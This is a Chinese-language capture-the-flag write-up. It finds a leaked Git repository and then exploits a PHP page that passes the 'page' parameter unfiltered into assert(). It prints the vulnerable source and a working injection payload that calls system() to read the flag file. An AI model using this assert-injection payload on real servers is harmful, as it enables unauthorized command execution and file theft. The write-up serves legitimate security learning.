打开题目一通乱点,在about界面看到了一些内容
I wrote this website all by myself in under a week!I used:GitPHPBootstrap
看到有git,猜测是git文件泄露。
使用Git_Extract,下载下来源码,得到四个文件
index.php about.php contact.php flag.php home.php
首先查看flag.php的内容
<?php// TODO// $FLAG = '';?>
但是flag变量里面什么都没有,接下来查看index.php的内容
<?phpif (isset($_GET['page'])) {$page = $_GET['page'];} else {$page = "home";}$file = "templates/" . $page . ".php";// I heard '..' is dangerous!assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");// TODO: Make this look niceassert("file_exists('$file')") or die("That file doesn't exist!");?><!DOCTYPE html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1"><title>My PHP Website</title><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" /></head><body><nav class="navbar navbar-inverse navbar-fixed-top"><div class="container"><div class="navbar-header"><button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar"><span class="sr-only">Toggle navigation</span><span class="icon-bar"></span><span class="icon-bar"></span><span class="icon-bar"></span></button><a class="navbar-brand" href="#">Project name</a></div><div id="navbar" class="collapse navbar-collapse"><ul class="nav navbar-nav"><li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li><li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li><li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li><!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> --></ul></div></div></nav><div class="container" style="margin-top: 50px"><?phprequire_once $file;?></div><script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" /><script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" /></body></html>
可以看到代码对page变量没有任何过滤,并且下面有个assert函数,构造payload:
flag') or system('cat templates/flag.php');//
与assert结合之后:
assert("strpos('flag') or system('cat templates/flag.php');//', '..') === false") or die("Detected hacking attempt!");
中间的or不能替换为;或and,否则assert执行的结果会是false。后面的//注释掉', '..') === false的内容。
